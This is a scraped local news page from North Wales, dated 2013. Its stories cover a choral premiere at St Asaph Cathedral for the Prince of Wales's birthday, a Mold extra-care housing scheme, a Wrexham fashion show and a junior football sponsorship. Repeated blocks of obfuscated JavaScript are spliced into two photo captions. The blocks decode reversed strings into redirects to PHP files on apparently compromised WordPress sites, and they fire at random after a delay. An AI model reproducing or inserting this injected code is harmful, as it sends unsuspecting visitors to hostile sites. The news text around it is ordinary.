Category: News

Golden birthday wishes for Prince of Wales at festival at St Asaph Cathedral

premiere of a new choral work by royal composer Paul Mealor $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to celebrate the 65th birthday of the Prince of Wales...the words have been written by Grahame Davies (son of Eunice Davies who worked at NWN) who is an acclaimed poet and now works as Assistant Private Secretary $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to HRH. Paul Mealor, right is pictured with Ann Atkinson and Grahame Davies.

The Prince of Wales gave permission for his golden harp to be brought to North Wales for the premiere of the new choral work to celebrate his 65th birthday.

The piece, entitled A Welsh Prayer, was hailed as a “masterpiece” after it was performed for the first time at the North Wales International Music Festival at St Asaph Cathedral.

It was composed by Professor Paul Mealor, who was born in St Asaph, while the words were written by Dr Grahame Davies, assistant private secretary to the Prince of Wales and the Duchess of Cornwall, who hails for Coedpoeth, near Wrexham.

It was written specifically for a choir accompanied by two harpists, the Prince’s first official harpist, international star Catrin Finch, and the current royal harpist, Swansea’s Hannah Stone, with Hannah playing the Prince’s golden harp. Both accompanied the choir from Aberdeen University where Profession Mealor works.

The piece was jointly commissioned by the festival, which is supported by the Welsh Arts Council, and London-based Holywell Music, leading suppliers of Salvi and Lyon and Healy harps.

The premiere was one of many highlights at the year’s festival which boasts a stellar line-up that also includes the Swingle Singers, virtuoso pianist Peter Donohoe, historical performance ensemble, La Serenissima and the BBC National Orchestra of Wales.

Speaking before the premiere, Professor Mealor, who received international acclaim after composing the music for the royal wedding of Prince William and Catherine Middleton in 2011 and who also wrote the music for the chart-topping  Military Wives’ Choir, admitted to being a little nervous.

He said: “It’s always a little nerve-wracking when your music is heard for the first time and this evening is even more difficult for me as I have my family here and many close friends and I’m also conducting the piece.

“However, it’s unbelievable and I have to say I’m so honoured, to have two of the world’s very best harpists here at the festival to play for us.

“And what a privileged that the Prince of Wales allowed his own personal harp to be brought to St Asaph so Hannah could perform using it.

“Normally the Prince’s golden harp is kept in the Garden Room at Clarence House and for His Royal Highness to give consent for the harp to be brought to St Asaph, specifically for this performance, was a wonderful gesture.”

He added: “And of course not only have we been blessed by having two of the world’s finest harpists here to perform with the choir but Dr Grahame Davies, who wrote the words to the piece is also here.

“I have been fortunate to have worked with some of the very best poets but Grahame, for me, is one of the finest in the world.

“You know immediately when a poet sends you his text whether you can do anything with it.

“When I received Grahame’s words I knew instantly they would work. They are direct yet deeply spiritual. In truth, they are just perfect.

“The piece was written and composed to celebrate the 65th birthday of the Prince of Wales but also to celebrate God.”

Harpist Catrin Finch was thrilled to be asked to perform the piece at the North Wales International Music Festival.

She said: “Paul Mealor is a very well loved composer and I really enjoy his work. As a harpist and musician it is always nice to be asked to play a piece for its premiere, it really is an honour.

“It’s also been a privilege to play alongside Hannah Stone and to be accompanied by such a fantastic choir.

“A Welsh Prayer is such a lovely piece of work and I’m delighted to have had the opportunity to come to St Asaph to play.”

Hannah Stone added: “It’s wonderful to be given the opportunity to perform a piece of music for the first time particularly when the composer is not only present but conducting too.

“I have really enjoyed performing at St Asaph particularly as His Royal Highness the Prince of Wales gave permission for his harp to be transported to North Wales especially for the performance.

“I don’t think I could ever tire of playing such a wonderful instrument.”

David Williams and Allison Battye, of Holywell Music, who co-commissioned the piece, were present for the performance and spoke of their delight.

Musician David Williams, who hails from Holywell, Flintshire, says he was thrilled to have had the opportunity to attend the festival.

He said: “We are absolutely delighted to be here to listen to its world premiere. And to have two harpists as good as Catrin and Hannah, on stage and performing, is magical.

“I think Paul Mealor’s composition and the words of Grahame Davies are a perfect combination. It’s a wonderful piece of work that can be performed as a concert piece or equally as a church anthem.”

Allison Battye agreed adding: “It’s just wonderful to be here and to see such a big audience enjoying what is an important piece of work.

“I am absolutely thrilled we had the opportunity to commission, alongside the North Wales International Music Festival, such a beautiful piece which was performed so wonderfully.

“It’s fitting that such a powerful and warm piece of music was written by Paul Mealor specifically to celebrate the 65th birthday of The Prince of Wales.

“Paul has a worldwide reputation and is without doubt a very talented composer. He has worked so well with Grahame Davies and what they have produced is a wonderful tribute in celebration of the Prince of Wales‘ 65th birthday.”

The North Wales International Music Festival’s artistic director, Ann Atkinson, says the St Asaph audience clearly enjoyed the performance.

She said: “It’s such a warm and moving choral piece and the choir, alongside Catrin and Hannah, were superb.

“I’m delighted we were able to co-commission the work alongside Holywell Music, who have such a large harp showroom in London.

“Paul’s wonderful music is so beautifully complemented by the words of Dr Grahame Davies. Grahame is without doubt, one of Wales’ brightest literary talents and his words are so warm and eloquent.”

She added: “I think it’s fantastic the North Wales International Music Festival had the opportunity to premiere this amazing choral work.

“It’s always a bit nail-biting for composers when their music is heard by an audience for the first time. However, judging by the exceptionally long applause, the large North Wales International Music Festival audience clearly liked what they heard.

”And so did I, it was a masterpiece!”

For more information about this year’s festival and how to buy tickets go to: www.nwimf.com

 

A Welsh Prayer

 

Almighty God,

whose faithfulness is like the mountains

and whose mercy like the rain,

whose wisdom ordained that the lines should fall for us

in delightful places,

grant us a spirit of thanksgiving

and give us strength to serve

that when you call upon us

we shall be ready

to answer for this corner of the earth.

 

Hollalluog Dduw,

y mae dy ffyddlondeb fel y mynyddoedd

a’th drugaredd fel y glaw,

ac a ordeiniodd i’r llinynnau ddisgyn inni

mewn mannau dymunol,

rho inni galonnau i ddiolch,

a nerth i wasanaethu

fel, pan elwir arnom

y byddwn yn barod

i ateb dros y gornel hon o’r byd.

Tuesday September 24th, 2013

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News

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Housing project boosts Flintshire economy to the tune of £25 million

Anwyl and WWH Association. Llys Jasmine . pictured are Apprentice electritian Josh Jones and Plumber Carla Dale with Tom Anwyl Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor of Anwyl Homes ,Anne Hinchey Chief Executive of Wales and West housing, Chris Duffy FCC, Craig Sparrow, WWHA and Chris Jones, FCC.

A major social housing development in Mold is providing a £25 million plus boost to the local economy.

Award-winning builders Anwyl Construction are nearing completion on a project to build a 61-home extra-care complex at Llys Jasmine, in the town for top social housing organisation Wales & West Housing.

The development at Llys Jasmine is worth a total of £8.5 million and Anwyl Construction Director Tom Anwyl said: “In all 80 per cent of that cost will go on wages and with 80 per cent of the workforce involved from within ten miles of Mold it’s a massive boost for the local economy.

“We estimate that will mean over £5 million injected into the economy and it is accepted every £1 will be spent locally five times so that adds up to more than £25 million being spent on goods and services in the area.

“In addition there is the added boost to employment and to training because both Wales & West Housing and Anwyls have insisted that the sub-contractors we use take on apprentices from the area.

“It’s about creating jobs and skills and making sure we can get local involvement in the construction of what is a major project.”

Anne Hinchey, Chief Executive of Wales & West Housing, said: “We’re delighted to see these figures. Wales & West Housing, Flintshire County Council and Anwyls have all been working incredibly hard to increase local employment and training opportunities via this development, as well as using local supply chains, which has provided a real boost to the local economy.”

Councillor Helen Brown, Flintshire County Council’s Cabinet Member for Housing said: “Extra Care schemes are enabling older people to have a new choice of housing and are making a real difference to people’s lives. We look forward to the opening in a few weeks of this latest scheme in Mold.”

Councillor Christine Jones, the Council’s Cabinet Member for Social Services, said: “Extra Care schemes are such a wonderful way for our older residents to maintain their independence.

“We already have a successful scheme in Shotton and now we look forward to opening this latest scheme in Mold which will include apartments for older people with dementia.”

Anwyl’s Construction Manager Iain Murray said: “We are a North Wales company with an established trade base in Flintshire where we have been building for more than 15 years and we have now expanded that trade base.

“We have a core base of contractors and the volume of work has meant more opportunities for local workers and businesses to come on board.”

Anwyl, North Wales’s biggest local housebuilder, have a wealth of experience of major projects and have worked on a series of developments at colleges across North Wales including Glyndwr University, Deeside College, Llandrillo College and Coleg Menai.

The Llys Jasmine project will see Anwyls build 61 apartments for an extra care and dementia complex as well as two extra care bungalows at Llys Jasmine, Mold.

“We are working in partnership with Flintshire County Council to create this fantastic development, which will offer state-of-the-art facilities for older people with care and support needs, as well as those requiring specialist dementia care,” said Craig Sparrow, Development Manager, North Wales, Wales & West Housing.

“Llys Jasmine, WWH’s second extra care scheme, will give residents the opportunity to live independently, albeit within a supported environment where there are dedicated care staff on site 24/7 to look after them.

“It is also very close to the town centre meaning residents will remain very much a part of the wider community. We’re delighted that Anwyl Construction are carrying out this build for us. They have a high reputation for excellence and a wealth of experience of major works like this.”

Tom Anwyl added: “This is a ground breaking project by Wales & West Housing which provides a new kind of extra care provision.

“The accommodation at Llys Jasmine is being built to offer independent living with support facilities available to allow residents to adapt to their changing circumstances.

“There will be numerous shared facilities in the development including a community restaurant, comfortable lounges, multi-function rooms, hairdressing and laundry provision.

“At the heart of the scheme is a sheltered courtyard garden which provides residents with a variety of safe and attractive outdoor spaces to encourage an active lifestyle.

“We are delighted to be working with a partner such as Wales & West Housing and in partnership with architects Ainsley Gommon on such a prestigious project.”

Monday September 23rd, 2013

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Las Vegas dancing queen brings Wrexham shopping centre alive

Fashion on the Move at Eagles Meadow, Wrexham.

A teenage dancing  queen swapped Las Vegas for North Wales to bring a shopping centre alive with style for a major fashion spectacular.

Seven top professional models from across the country were at Eagles Meadow in Wrexham to showcase the very latest designer ranges in an all-action series of fashion shows.

Amongst them in the sun-drenched centre was 15-year-old Georgia Rowley who doubles as a street dance diva when she’s not strutting the catwalk.

A dancing sensation since she was just a tot, back home in Hartlepool Georgia has for the past two years been a member of a street dance crew called the Diamond All-Stars who go through their precision paces in competitions up and down the country.

Last year they battled their way through a round of regional heats to win the hip hop national title, which landed them a place representing the UK in the International Hip Championships staged in Las Vegas.

There they lined up against 2,000 of the world’s finest street dancers from countries including the USA, Canada, Brazil, Japan, Australia, Italy, Spain, France, India and Germany.

Georgia says the experience of dancing for a massive audience at the plush Orleans Arena in glittering Las Vegas was “truly unforgettable”.

She said: “It was the chance of a lifetime to compete against the best hip hop dancers from right across the world.

“Being in Las Vegas was great but I’ve really loved coming down to Wrexham to take part in Fashion on the Move.

“Joining all the other models is a real experience but what’s best of all is that because we take the show all over the centre we get to meet and chat to the shoppers who come along to watch us.”

Accompanied by fast-paced music, Georgia and the rest of the models went through their stylish routines to demonstrate the latest autumn and winter must-have fashions for men, women and youngsters at a host of participating shops, many of which were offering discounts.

In Marks & Spencer they temporarily brought the busy café to halt, to the delight of counter coach Maggie Byard, 56, of Wrexham, who found herself dancing along to the vibes.

She said: “I think that bringing a live fashion show right into the shops is just marvellous and I certainly felt envigorated when the models came in.”

The Fashion on the Move cast ended each show on a special catwalk set up in the circular area outside Marks & Spencer to perform even more high-energy routines.

Among the large crowd of shoppers who stopped to watch the action was 15-year-old Courtney Jones from Wrexham, who is a pupil at Darland High School in Rossett.

She said: “It’s so nice to see a live fashion show being performed right in front of you and the way the models danced and showed off the clothes was great. I never expected to see this when I came out today.”

It was a similar story with her friend, 15-year-old Emily Vine from Wrexham, who attends Ysgol Clywedog.

She said: “You don’t often see free live entertainment during the daytime in Wrexham and this was just fantastic. My friends and I couldn’t help stopping to have a look and I’m glad we did.”

The spectacular show was once again put together by stylist and presenter Jill Pollitt, who has 30 years’ experience in the fashion industry and has regularly appeared on ITV’s flagship This Morning show.

She said: “The five shows we did featured the very best on offer at Eagles Meadow for the autumn/winter 2013 season.

“Every time we come back to Eagles Meadow it’s a great experience. The weather is usually kind to us and today was no exception with plenty of sunshine.

“People in the centre are getting to know us and that means there’s a friendly familiarity about the show.

“This is very different for a traditional catwalk show because the models can mix with the shoppers and actually chat to them about the clothes they are wearing.

“It was nice to see many of the shops offering fashion collections for all ages and sizes and this was one of the things the show aimed to highlight.”

Jill, who also appeared as a judge on Britain’s Next Top Model, added: “Myself and the models just love coming to Wrexham because it presents a marvellous staging area and the crowds are always so enthusiastic.

Thursday September 19th, 2013

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Sponsorship deal to serve up success for young Wrexham football stars

EAGLES MEADOW - FRANKIE AND BENNIES SPONSOR BORRAS PARK UNDER 15'S FOOTBALL TEAM. Pictured at the presentation of the kit is Team Coach Annette Roberts with Frankie and Bennies Manager Peter Cross and Players (L/R) Callum Croaa, Scott Swords, Cameron Allan, Jay McKevitt-Harvey and Celyn Roberts.

A talented junior football team from Wrexham are aiming to serve up more success thanks to a new sponsorship deal

The Frankie and Benny’s restaurant at the Eagles Meadow shopping centre has been providing playing strips and other support for  the successful Borras Park Rangers Under 15s side for the past four years.

Team officials and players alike believe their stylish appearance gives the lads a professional edge which helps boost their winning ways which have helped them a glittering array of silverware.

Now the popular restaurant has stepped in again to provide the team with new kit worth over £500 to ensure their immaculate turnout goes on through the 2013/14 season.

The eye-catching strip is already proving its worth after Rangers hammered rivals Borras Park Albion in a local derby which provided the perfect prelude to their new season.

Sponsorship of the team was first arranged four years ago by Frankie and Benny’s manager Peter Cross.

Peter’s son Callum, now 14, had started playing for the side and through going along to watch their games discovered they would welcome a little financial backing.

Peter said: “As a company Frankie and Benny’s sponsors youth sports of all kinds right across the country, lending its support to everything from dance and judo teams.

“Where a youth team needs some backing we like to get involved because we think it is important to create strong links with the local community.

“When I discovered that the Borras Park Rangers Under 12s, as the Under 15s then were, could do with some help I was delighted to get Frankie and Benny’s involved.

“The arrangement initially began with the restaurant sponsoring new kits for all the team’s 16 players and it has carried on, very successfully from there.

“This will be the third time we have provided the team with new kit and the latest one is very smart. The shirt is black and white and there are also shorts and socks in the same colour scheme.

“Apart from the kits, we regularly invite all the team members, and often their parents too, to social gathering at the restaurant, and we display their trophies behind the counter.

“They have their Christmas parties with us and they also come here to celebrate their successes on the field, which happen quite regularly I’m delighted to say as my son Callum is quite a handy midfielder with the team.

“In fact, Callum scored one of the goals – a full-blooded lob into the corner of the net – when Rangers beat Borras Park Albion 8-2 in the season opener at Wrexham Rigby Club on Saturday.

“I’m sure the high class kits the restaurant provides them with helps them to look professional and be so successful on the field.”

This belief is shared by the team’s coach, Annette Roberts, who explained that the Under 15s have enjoyed some spectacular successes.

Annette, whose son 14-year-old Scott, has played for the team for the past five years and has just come back from a broken ankle he received last season, said: “They won the Under 14s Wrexham and District League last season and had also won it the previous year as Under 13s.

“Last season the team won the North East Wales Cup, which is contested by sides from across Wrexham and neighbouring Flintshire. That was the match in which my son Scott was injured.  They were also runners-up in the Wrexham League Cup.

“They’ve just had a good pre-season and have beaten teams playing at Under 16s level.

“The sponsorship the team has received from Frankie and Benny’s over the past four years has meant such a lot to the players.

“We do our own fundraising but this couldn’t have covered the cost of the fantastic kits the restaurant has provided.

“We’re all sure that the smart appearance it gives them has helped them do so well. We’re very grateful for the continuing support of Frankie and Benny’s.”

Agreeing with this view was 14-year-old Jay McKevitt-Harvey who is now in his third year of playing with the team

Jay, from Garden Village, who had admirable 20 goals to his credit last season, said: “The kits we are given by Frankie and Benny’s make you feel professional and play well when you come out for a game. I’m really grateful for the support they give to the team.”

It was the same story from Jay’s 14-year-old team-mate Celyn Roberts, of  Rhosnesni, who is a veteran of four years with Rangers and scored twice last season.

Celyn said: “The kits look really smart and you can’t help but feel extremely professional when you put them on. I’d also like to thank Frankie and Benny’s for all their support for the team.”

Borras Park Rangers was founded in 2002 and now has successful eight teams, starting with Under 8s, based at Wrexham Rugby Club.

Monday September 16th, 2013

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News

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